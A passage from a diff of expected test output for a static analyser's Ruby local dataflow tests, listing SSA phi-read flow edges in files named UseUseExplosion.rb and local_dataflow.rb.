x | UseUseExplosion.rb:20:3334:20:3344 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3350:20:3360 | [input] SSA phi read(self) | UseUseExplosion.rb:20:451:20:3364 | SSA phi read(self) | -| UseUseExplosion.rb:20:3350:20:3360 | [input] SSA phi read(x) | UseUseExplosion.rb:20:451:20:3364 | SSA phi read(x) | +| UseUseExplosion.rb:20:3339:20:3344 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3343:20:3343 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3350:20:3360 | else ... | UseUseExplosion.rb:20:451:20:3364 | if ... | -| UseUseExplosion.rb:20:3355:20:3360 | [post] self | UseUseExplosion.rb:20:3350:20:3360 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3355:20:3360 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3355:20:3360 | call to use | UseUseExplosion.rb:20:3350:20:3360 | else ... | -| UseUseExplosion.rb:20:3355:20:3360 | self | UseUseExplosion.rb:20:3350:20:3360 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3359:20:3359 | x | UseUseExplosion.rb:20:3350:20:3360 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3366:20:3376 | [input] SSA phi read(self) | UseUseExplosion.rb:20:430:20:3380 | SSA phi read(self) | -| UseUseExplosion.rb:20:3366:20:3376 | [input] SSA phi read(x) | UseUseExplosion.rb:20:430:20:3380 | SSA phi read(x) | +| UseUseExplosion.rb:20:3355:20:3360 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3359:20:3359 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3366:20:3376 | else ... | UseUseExplosion.rb:20:430:20:3380 | if ... | -| UseUseExplosion.rb:20:3371:20:3376 | [post] self | UseUseExplosion.rb:20:3366:20:3376 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3371:20:3376 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3371:20:3376 | call to use | UseUseExplosion.rb:20:3366:20:3376 | else ... | -| UseUseExplosion.rb:20:3371:20:3376 | self | UseUseExplosion.rb:20:3366:20:3376 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3375:20:3375 | x | UseUseExplosion.rb:20:3366:20:3376 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3382:20:3392 | [input] SSA phi read(self) | UseUseExplosion.rb:20:409:20:3396 | SSA phi read(self) | -| UseUseExplosion.rb:20:3382:20:3392 | [input] SSA phi read(x) | UseUseExplosion.rb:20:409:20:3396 | SSA phi read(x) | +| UseUseExplosion.rb:20:3371:20:3376 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3375:20:3375 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3382:20:3392 | else ... | UseUseExplosion.rb:20:409:20:3396 | if ... | -| UseUseExplosion.rb:20:3387:20:3392 | [post] self | UseUseExplosion.rb:20:3382:20:3392 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3387:20:3392 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3387:20:3392 | call to use | UseUseExplosion.rb:20:3382:20:3392 | else ... | -| UseUseExplosion.rb:20:3387:20:3392 | self | UseUseExplosion.rb:20:3382:20:3392 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3391:20:3391 | x | UseUseExplosion.rb:20:3382:20:3392 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(self) | UseUseExplosion.rb:20:388:20:3412 | SSA phi read(self) | -| UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(x) | UseUseExplosion.rb:20:388:20:3412 | SSA phi read(x) | +| UseUseExplosion.rb:20:3387:20:3392 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3391:20:3391 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3398:20:3408 | else ... | UseUseExplosion.rb:20:388:20:3412 | if ... | -| UseUseExplosion.rb:20:3403:20:3408 | [post] self | UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3403:20:3408 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3403:20:3408 | call to use | UseUseExplosion.rb:20:3398:20:3408 | else ... | -| UseUseExplosion.rb:20:3403:20:3408 | self | UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3407:20:3407 | x | UseUseExplosion.rb:20:3398:20:3408 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(self) | UseUseExplosion.rb:20:367:20:3428 | SSA phi read(self) | -| UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(x) | UseUseExplosion.rb:20:367:20:3428 | SSA phi read(x) | +| UseUseExplosion.rb:20:3403:20:3408 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3407:20:3407 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3414:20:3424 | else ... | UseUseExplosion.rb:20:367:20:3428 | if ... | -| UseUseExplosion.rb:20:3419:20:3424 | [post] self | UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3419:20:3424 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3419:20:3424 | call to use | UseUseExplosion.rb:20:3414:20:3424 | else ... | -| UseUseExplosion.rb:20:3419:20:3424 | self | UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3423:20:3423 | x | UseUseExplosion.rb:20:3414:20:3424 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(self) | UseUseExplosion.rb:20:346:20:3444 | SSA phi read(self) | -| UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(x) | UseUseExplosion.rb:20:346:20:3444 | SSA phi read(x) | +| UseUseExplosion.rb:20:3419:20:3424 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3423:20:3423 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3430:20:3440 | else ... | UseUseExplosion.rb:20:346:20:3444 | if ... | -| UseUseExplosion.rb:20:3435:20:3440 | [post] self | UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3435:20:3440 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3435:20:3440 | call to use | UseUseExplosion.rb:20:3430:20:3440 | else ... | -| UseUseExplosion.rb:20:3435:20:3440 | self | UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3439:20:3439 | x | UseUseExplosion.rb:20:3430:20:3440 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(self) | UseUseExplosion.rb:20:325:20:3460 | SSA phi read(self) | -| UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(x) | UseUseExplosion.rb:20:325:20:3460 | SSA phi read(x) | +| UseUseExplosion.rb:20:3435:20:3440 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3439:20:3439 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3446:20:3456 | else ... | UseUseExplosion.rb:20:325:20:3460 | if ... | -| UseUseExplosion.rb:20:3451:20:3456 | [post] self | UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3451:20:3456 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3451:20:3456 | call to use | UseUseExplosion.rb:20:3446:20:3456 | else ... | -| UseUseExplosion.rb:20:3451:20:3456 | self | UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3455:20:3455 | x | UseUseExplosion.rb:20:3446:20:3456 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(self) | UseUseExplosion.rb:20:304:20:3476 | SSA phi read(self) | -| UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(x) | UseUseExplosion.rb:20:304:20:3476 | SSA phi read(x) | +| UseUseExplosion.rb:20:3451:20:3456 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3455:20:3455 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3462:20:3472 | else ... | UseUseExplosion.rb:20:304:20:3476 | if ... | -| UseUseExplosion.rb:20:3467:20:3472 | [post] self | UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3467:20:3472 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3467:20:3472 | call to use | UseUseExplosion.rb:20:3462:20:3472 | else ... | -| UseUseExplosion.rb:20:3467:20:3472 | self | UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3471:20:3471 | x | UseUseExplosion.rb:20:3462:20:3472 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(self) | UseUseExplosion.rb:20:283:20:3492 | SSA phi read(self) | -| UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(x) | UseUseExplosion.rb:20:283:20:3492 | SSA phi read(x) | +| UseUseExplosion.rb:20:3467:20:3472 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3471:20:3471 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3478:20:3488 | else ... | UseUseExplosion.rb:20:283:20:3492 | if ... | -| UseUseExplosion.rb:20:3483:20:3488 | [post] self | UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3483:20:3488 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3483:20:3488 | call to use | UseUseExplosion.rb:20:3478:20:3488 | else ... | -| UseUseExplosion.rb:20:3483:20:3488 | self | UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3487:20:3487 | x | UseUseExplosion.rb:20:3478:20:3488 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(self) | UseUseExplosion.rb:20:262:20:3508 | SSA phi read(self) | -| UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(x) | UseUseExplosion.rb:20:262:20:3508 | SSA phi read(x) | +| UseUseExplosion.rb:20:3483:20:3488 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3487:20:3487 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3494:20:3504 | else ... | UseUseExplosion.rb:20:262:20:3508 | if ... | -| UseUseExplosion.rb:20:3499:20:3504 | [post] self | UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3499:20:3504 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3499:20:3504 | call to use | UseUseExplosion.rb:20:3494:20:3504 | else ... | -| UseUseExplosion.rb:20:3499:20:3504 | self | UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3503:20:3503 | x | UseUseExplosion.rb:20:3494:20:3504 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(self) | UseUseExplosion.rb:20:241:20:3524 | SSA phi read(self) | -| UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(x) | UseUseExplosion.rb:20:241:20:3524 | SSA phi read(x) | +| UseUseExplosion.rb:20:3499:20:3504 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3503:20:3503 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3510:20:3520 | else ... | UseUseExplosion.rb:20:241:20:3524 | if ... | -| UseUseExplosion.rb:20:3515:20:3520 | [post] self | UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3515:20:3520 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3515:20:3520 | call to use | UseUseExplosion.rb:20:3510:20:3520 | else ... | -| UseUseExplosion.rb:20:3515:20:3520 | self | UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3519:20:3519 | x | UseUseExplosion.rb:20:3510:20:3520 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(self) | UseUseExplosion.rb:20:220:20:3540 | SSA phi read(self) | -| UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(x) | UseUseExplosion.rb:20:220:20:3540 | SSA phi read(x) | +| UseUseExplosion.rb:20:3515:20:3520 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3519:20:3519 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3526:20:3536 | else ... | UseUseExplosion.rb:20:220:20:3540 | if ... | -| UseUseExplosion.rb:20:3531:20:3536 | [post] self | UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3531:20:3536 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3531:20:3536 | call to use | UseUseExplosion.rb:20:3526:20:3536 | else ... | -| UseUseExplosion.rb:20:3531:20:3536 | self | UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3535:20:3535 | x | UseUseExplosion.rb:20:3526:20:3536 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(self) | UseUseExplosion.rb:20:199:20:3556 | SSA phi read(self) | -| UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(x) | UseUseExplosion.rb:20:199:20:3556 | SSA phi read(x) | +| UseUseExplosion.rb:20:3531:20:3536 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3535:20:3535 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3542:20:3552 | else ... | UseUseExplosion.rb:20:199:20:3556 | if ... | -| UseUseExplosion.rb:20:3547:20:3552 | [post] self | UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3547:20:3552 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3547:20:3552 | call to use | UseUseExplosion.rb:20:3542:20:3552 | else ... | -| UseUseExplosion.rb:20:3547:20:3552 | self | UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3551:20:3551 | x | UseUseExplosion.rb:20:3542:20:3552 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(self) | UseUseExplosion.rb:20:178:20:3572 | SSA phi read(self) | -| UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(x) | UseUseExplosion.rb:20:178:20:3572 | SSA phi read(x) | +| UseUseExplosion.rb:20:3547:20:3552 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3551:20:3551 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3558:20:3568 | else ... | UseUseExplosion.rb:20:178:20:3572 | if ... | -| UseUseExplosion.rb:20:3563:20:3568 | [post] self | UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3563:20:3568 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3563:20:3568 | call to use | UseUseExplosion.rb:20:3558:20:3568 | else ... | -| UseUseExplosion.rb:20:3563:20:3568 | self | UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3567:20:3567 | x | UseUseExplosion.rb:20:3558:20:3568 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(self) | UseUseExplosion.rb:20:157:20:3588 | SSA phi read(self) | -| UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(x) | UseUseExplosion.rb:20:157:20:3588 | SSA phi read(x) | +| UseUseExplosion.rb:20:3563:20:3568 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3567:20:3567 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3574:20:3584 | else ... | UseUseExplosion.rb:20:157:20:3588 | if ... | -| UseUseExplosion.rb:20:3579:20:3584 | [post] self | UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3579:20:3584 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3579:20:3584 | call to use | UseUseExplosion.rb:20:3574:20:3584 | else ... | -| UseUseExplosion.rb:20:3579:20:3584 | self | UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3583:20:3583 | x | UseUseExplosion.rb:20:3574:20:3584 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(self) | UseUseExplosion.rb:20:136:20:3604 | SSA phi read(self) | -| UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(x) | UseUseExplosion.rb:20:136:20:3604 | SSA phi read(x) | +| UseUseExplosion.rb:20:3579:20:3584 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3583:20:3583 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3590:20:3600 | else ... | UseUseExplosion.rb:20:136:20:3604 | if ... | -| UseUseExplosion.rb:20:3595:20:3600 | [post] self | UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3595:20:3600 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3595:20:3600 | call to use | UseUseExplosion.rb:20:3590:20:3600 | else ... | -| UseUseExplosion.rb:20:3595:20:3600 | self | UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3599:20:3599 | x | UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(self) | UseUseExplosion.rb:20:115:20:3620 | SSA phi read(self) | -| UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(x) | UseUseExplosion.rb:20:115:20:3620 | SSA phi read(x) | +| UseUseExplosion.rb:20:3595:20:3600 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3599:20:3599 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3606:20:3616 | else ... | UseUseExplosion.rb:20:115:20:3620 | if ... | -| UseUseExplosion.rb:20:3611:20:3616 | [post] self | UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3611:20:3616 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3611:20:3616 | call to use | UseUseExplosion.rb:20:3606:20:3616 | else ... | -| UseUseExplosion.rb:20:3611:20:3616 | self | UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3615:20:3615 | x | UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(self) | UseUseExplosion.rb:20:94:20:3636 | SSA phi read(self) | -| UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(x) | UseUseExplosion.rb:20:94:20:3636 | SSA phi read(x) | +| UseUseExplosion.rb:20:3611:20:3616 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3615:20:3615 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3622:20:3632 | else ... | UseUseExplosion.rb:20:94:20:3636 | if ... | -| UseUseExplosion.rb:20:3627:20:3632 | [post] self | UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3627:20:3632 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3627:20:3632 | call to use | UseUseExplosion.rb:20:3622:20:3632 | else ... | -| UseUseExplosion.rb:20:3627:20:3632 | self | UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3631:20:3631 | x | UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(self) | UseUseExplosion.rb:20:73:20:3652 | SSA phi read(self) | -| UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(x) | UseUseExplosion.rb:20:73:20:3652 | SSA phi read(x) | +| UseUseExplosion.rb:20:3627:20:3632 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3631:20:3631 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3638:20:3648 | else ... | UseUseExplosion.rb:20:73:20:3652 | if ... | -| UseUseExplosion.rb:20:3643:20:3648 | [post] self | UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3643:20:3648 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3643:20:3648 | call to use | UseUseExplosion.rb:20:3638:20:3648 | else ... | -| UseUseExplosion.rb:20:3643:20:3648 | self | UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3647:20:3647 | x | UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(self) | UseUseExplosion.rb:20:52:20:3668 | SSA phi read(self) | -| UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(x) | UseUseExplosion.rb:20:52:20:3668 | SSA phi read(x) | +| UseUseExplosion.rb:20:3643:20:3648 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3647:20:3647 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3654:20:3664 | else ... | UseUseExplosion.rb:20:52:20:3668 | if ... | -| UseUseExplosion.rb:20:3659:20:3664 | [post] self | UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3659:20:3664 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3659:20:3664 | call to use | UseUseExplosion.rb:20:3654:20:3664 | else ... | -| UseUseExplosion.rb:20:3659:20:3664 | self | UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3663:20:3663 | x | UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(self) | UseUseExplosion.rb:20:31:20:3684 | SSA phi read(self) | -| UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(x) | UseUseExplosion.rb:20:31:20:3684 | SSA phi read(x) | +| UseUseExplosion.rb:20:3659:20:3664 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3663:20:3663 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3670:20:3680 | else ... | UseUseExplosion.rb:20:31:20:3684 | if ... | -| UseUseExplosion.rb:20:3675:20:3680 | [post] self | UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3675:20:3680 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3675:20:3680 | call to use | UseUseExplosion.rb:20:3670:20:3680 | else ... | -| UseUseExplosion.rb:20:3675:20:3680 | self | UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3679:20:3679 | x | UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(self) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(self) | -| UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(x) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | +| UseUseExplosion.rb:20:3675:20:3680 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3679:20:3679 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3686:20:3696 | else ... | UseUseExplosion.rb:20:9:20:3700 | if ... | -| UseUseExplosion.rb:20:3691:20:3696 | [post] self | UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3691:20:3696 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3691:20:3696 | call to use | UseUseExplosion.rb:20:3686:20:3696 | else ... | -| UseUseExplosion.rb:20:3691:20:3696 | self | UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3695:20:3695 | x | UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(x) | +| UseUseExplosion.rb:20:3691:20:3696 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3695:20:3695 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:21:13:21:17 | [post] self | UseUseExplosion.rb:21:35:21:39 | self | | UseUseExplosion.rb:21:13:21:17 | [post] self | UseUseExplosion.rb:21:3691:21:3696 | self | | UseUseExplosion.rb:21:13:21:17 | self | UseUseExplosion.rb:21:35:21:39 | self | @@ -3139,12 +2542,11 @@ | local_dataflow.rb:10:5:13:3 | call to each | local_dataflow.rb:10:5:13:3 | ... | | local_dataflow.rb:10:9:10:9 | ... = ... | local_dataflow.rb:10:9:10:9 | if ... | | local_dataflow.rb:10:9:10:9 | [input] phi | local_dataflow.rb:10:9:10:9 | phi | -| local_dataflow.rb:10:9:10:9 | [input] phi | local_dataflow.rb:10:9:10:9 | phi | | local_dataflow.rb:10:9:10:9 | [post] x | local_dataflow.rb:10:9:10:9 | [input] phi | | local_dataflow.rb:10:9:10:9 | nil | local_dataflow.rb:10:9:10:9 | ... = ... | | local_dataflow.rb:10:9:10:9 | nil | local_dataflow.rb:10:9:10:9 | x | | local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:10:9:10:9 | [input] phi | -| local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:10:9:10:9 | [input] phi | +| local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:10:9:10:9 | phi | | local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:12:5:12:5 | x | | local_dataflow.rb:10:14:10:18 | [post] array | local_dataflow.rb:15:10:15:14 | array | | local_dataflow.rb:10:14:10:18 | array | local_dataflow.rb:15:10:15:14 | array | @@ -3158,12 +2560,11 @@ | local_dataflow.rb:15:1:17:3 | call to each | local_dataflow.rb:15:1:17:3 | ... | | local_dataflow.rb:15:5:15:5 | ... = ... | local_dataflow.rb:15:5:15:5 | if ... | | local_dataflow.rb:15:5:15:5 | [input] phi | local_dataflow.rb:15:5:15:5 | phi | -| local_dataflow.rb:15:5:15:5 | [input] phi | local_dataflow.rb:15:5:15:5 | phi | | local_dataflow.rb:15:5:15:5 | [post] x | local_dataflow.rb:15:5:15:5 | [input] phi | | local_dataflow.rb:15:5:15:5 | nil | local_dataflow.rb:15:5:15:5 | ... = ... | | local_dataflow.rb:15:5:15:5 | nil | local_dataflow.rb:15:5:15:5 | x | | local_dataflow.rb:15:5:15:5 | x | local_dataflow.rb:15:5:15:5 | [input] phi | -| local_dataflow.rb:15:5:15:5 | x | local_dataflow.rb:15:5:15:5 | [input] phi | +| local_dataflow.rb:15:5:15:5 | x | local_dataflow.rb:15:5:15:5 | phi | | local_dataflow.rb:15:10:15:14 | [post] array | local_dataflow.rb:19:10:19:14 | array | | local_dataflow.rb:15:10:15:14 | array | local_dataflow.rb:19:10:19:14 | array | | local_dataflow.rb:16:9:16:10 | 10 | local_dataflow.rb:16:3:16:10 | break | @@ -3174,12 +2575,11 @@ | local_dataflow.rb:19:1:21:3 | call to each | local_dataflow.rb:19:1:21:3 | ... | | local_dataflow.rb:19:5:19:5 | ... = ... | local_dataflow.rb:19:5:19:5 | if ... | | local_dataflow.rb:19:5:19:5 | [input] phi | local_dataflow.rb:19:5:19:5 | phi | -| local_dataflow.rb:19:5:19:5 | [input] phi 